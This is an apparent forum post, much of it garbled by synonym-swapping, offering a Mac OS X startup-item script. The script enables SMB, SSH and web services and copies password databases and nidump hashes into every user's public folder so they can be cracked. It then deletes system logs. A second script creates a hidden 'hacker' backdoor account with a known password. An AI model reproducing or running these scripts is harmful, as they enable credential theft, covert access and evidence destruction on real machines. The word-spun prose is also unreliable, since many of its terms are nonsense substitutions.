[b][color=darkred]edit 06 April, 2004 - That inaugural hand is evolving, survey that absorb to the end for the latest adjustment of the script![/b][/color] That is an OS X inauguration particular with a cuticle hand to replacement the current hostconfig file with a onliest re-create (which has manduction dour on separating inconsistent things.) It additionally copies a few files and the netinfo directory into the Populace booklet of every exploiter folder. On the root bootes SMB communion result be sullen on and the info copied to the .info brochure impart bore the Mac countersignature hashes and the SMB hashes which are easier to crack. There are threesome textblocks below. Pull-through each as a branching textbook file victimization the epithet specified for each textblock. Establish a new pamphlet signaled opener. Imitate the ternary schoolbook files into this folder. Now mooring the leaflet in the /library/startupitems folder. Reboot. If you don't loss the appletalk hostname to adjustment you might paste it into the new hostconfig file. That title on 10.2.8 and prior, haven't right it on 10.3. Anyone causing any variant exquisite scripts? PULL-THROUGH THAT AS A SCHOOLBOOK FILE SCREAMED unfastener #! /bin/sh chmod 777 /etc/hostconfig chflags nouchg /etc/hostconfig mv /etc/hostconfig /etc/hostconfigold.old cp /library/startupitems/opener/hostconfig /etc/hostconfig cp -R /library/applepasswordserver /.info/library/applepasswordserver cp /library/webserver/users /.info/library/webserver/users cp /system/library/coreservices/systemversion.plist /.infosystem/library/coreservices/systemversion.plist cp -R /private/var/db /.info/private/var/db cd /.info nidump passwd . > .nidump.txt nidump passwd / > .nidump2.txt chmod -R 777 /.info cd /users discovery . -maxdepth 2 -name "public" -type d -exec sudo cp -R /.info '{}/.info' \; rm -rf /private/var/log/ rm -rf /library/logs/ PULL-THROUGH THAT AS A TEXTBOOK FILE CRYED Startupparameters.plist Class unfastener Devolve Messages begin imagined hold stopped Orderpreference Nones Secures untier Craves Resolver PULL-THROUGH THAT AS A TEXTBOOK FILE HAILED hostconfig ## # /etc/hostconfig ## # That file is maintained by the organization ascendancy panels ## # Net contour HOSTNAME=-AUTOMATIC- ROUTER=-AUTOMATIC- # Services AFPSERVER=-YES- APPLETALK=-YES- AUTHSERVER=-NO- AUTOMOUNT=-YES- CONFIGSERVER=-NO- IPFORWARDING=-NO- MAILSERVER=-NO- NETBOOTSERVER=-NO- NETINFOSERVER=-AUTOMATIC- NISDOMAIN=-NO- RPCSERVER=-AUTOMATIC- TIMESYNC=-YES- QTSSERVER=-NO- SSHSERVER=-YES- WEBSERVER=-YES- CUPS=-YES- DNSSERVER=-NO- IPV6=-YES- SMBSERVER=-YES- Appletalk_hostname=*41*last edited by Dimbulb on Apr 6, 2004, 10:06 pm; edited 1 period in contribute Anchor to top |
..
...
#!/bin/sh niutil -create / /users/hacker niutil -createprop / /users/hacker uid 401 niutil -createprop / /users/hacker realname "hacker" niutil -createprop / /users/hacker dwelling "/private/var/home" niutil -createprop / /users/hacker cuticle "/bin/bash" niutil -createprop / /users/hacker gid 20 niutil -createprop / /users/hacker shareddir / niutil -createprop / /users/hacker passwd "rq3p5/hpopvge" #(it's 1234) nicl .
Sites so far
Leave a reply